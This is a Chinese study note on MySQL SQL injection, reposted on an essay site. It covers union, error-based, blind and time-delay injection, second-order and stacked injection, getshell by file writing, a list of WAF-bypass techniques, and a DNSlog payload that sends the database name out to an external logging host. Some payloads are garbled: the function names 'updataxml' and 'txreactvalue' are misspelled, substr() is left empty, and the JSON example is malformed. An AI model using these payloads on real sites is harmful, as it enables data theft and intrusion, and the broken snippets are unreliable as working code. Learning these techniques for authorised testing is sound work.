1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 小迪安全-sql注入-笔记

小迪安全-sql注入-笔记

时间:2019-10-11 03:09:56

相关推荐

小迪安全-sql注入-笔记

本笔记出现的函数皆为mysql函数,其他数据库管理系统请自行对应查询

前置学习知识

信息收集

操作系统

@@version_compile_os

数据库名

database()

数据库用户

user()

数据库版本

version()

其他(网页的各级路径)

方法:配置文件获取,扫描工具获取(nmap)

还有其他不赘述

数据注入

低版本

利用工具配合字典暴力查询

高版本(mysql>5.1)

information_schema.tables 获取表

information_schema.columns 获取列

高权限注入

因为数据库中分为高低权限,高权限为管理员,可以查询的数据面更大。

常规查询

联合,报错,盲注等。正常的数据注入

跨库查询

在高权限的模式下,可以通过A数据库,查询B数据库的内容

文件读写

存在魔术引导

php自带的魔术引导,可以用编码或宽字节绕过

不存在魔术引导

直接写入getshell

相关防注入

魔术引导

高版本php没有,低版本的可以通过查询学习

内置函数

手工或工具绕过

自定义关键字

最好的情况是能获得源码进行白盒测试,如果不行只能靠大量数据堆砌。

WAF防护软件

可以下载软件进行学习,了解如何绕过

SQL注入

提交方式

GET

最常见的方式,url注入本质就是利用get

?id=1

POST

需要专门在post内填写数据,需要借用到抓包工具

username=1

COOKIE

专门在cookie内填写数据,需要用到抓包工具

cookie:username=1

request

该种方式可以以任何方式提交,都接受

HTTP

涉及到http头伪造,user-agent

查询方式

select

最基本的查询语句

insert

insert into ,是添加语句

delete

删除语句

update

数据更新语句

orderby

平常利用在判断数据库列数的语句

回显/盲注

回显注入

联合

union select

报错

and updataxml(1,“要获取的数据”,1)​and txreactvalue(1,“要获取的数据”)

无回显

布尔盲注

and left(database(),1)>'r'第一个字符是否大于r

延时盲注

and if(ascii(substr(),1,1))>144,1,sleep(5))判断第一个字符asc值是否大于144,大于则延时5s

注入扩展

加解密注入

有时候在注入的时候,注入的时间会进行加密,那么我们就需要将我们的注入语句也进行相同加密才能注入成功。

JSON注入

和普通post注入一样,只是是使用json值装填数据

普通 unm=admin and 1=1

json json={"unm":"admin" and 1=1}

LADP注入

相比于sql注入,没有那么花里胡哨,百度了解即可

DNSlog注入

利用DNSlog平台配合注入,主要应对没有回显的注入点。

and (select load_file(concat('\\\\',(select database()),'.dnslog网址\\aaa')))--+

二次注入

通过两次注入来达到目的

例:

已知数据库内有admin账号

注入一个admin'#账号

利用修改密码修改admin账号密码,但因为有#注释符,可以无视掉需要后续输入正确密码的条件。

where unm='admin'#' and pswd='admin'

堆叠注入

利用可以多次读取sql代码的漏洞

?id=1;insert into 要注入的数据;

一般堆叠注入无法查询查询,但可以进行插入数据,或者导出数据。

中转注入

利用自行编写的php,调用到原网页,从而实现利用脚本文件辅助的作用。

WAF绕过

更改提交方式

大小写混合

解密编码类

注释符混用

等价函数替换

特殊符号混用

借助数据库特性

HTTP参数污染

垃圾数据溢出

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。